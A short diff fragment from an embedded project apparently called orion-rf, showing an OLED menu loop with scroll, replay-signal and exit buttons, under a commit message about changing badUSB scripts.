	369	+	u8g2.drawStr(0, 20 + (i * 8), buf);
	370	+	}
	371	+
	372	+	u8g2.sendBuffer();
	373	+
	374	+	// scroll down
	375	+	if (btnDown())
	376	+	{
	377	+	if (scroll < count - 1)
	378	+	scroll++;
	379	+
	380	+	delay(120);
	381	+	}
	382	+
	383	+	// scroll up
	384	+	if (btnUp())
	385	+	{
	386	+	if (scroll > 0)
	387	+	scroll--;
	388	+
	389	+	delay(120);
	390	+	}
	391	+
	392	+	// replay
	393	+	if (btnSelect())
	394	+	{
	395	+	replaySignal();
	396	+	delay(300);
	397	+	}
	398	+
	399	+	// exit
	400	+	if (btnBack())
	401	+	{
	402	+	delay(150);
	403	+	return;
	404	+	}
	405	+
	406	+	delay(20);
	407	+	}
	408	+	}

orion-rf/45d23ef

change badUSB scripts

orion-rf45d23ef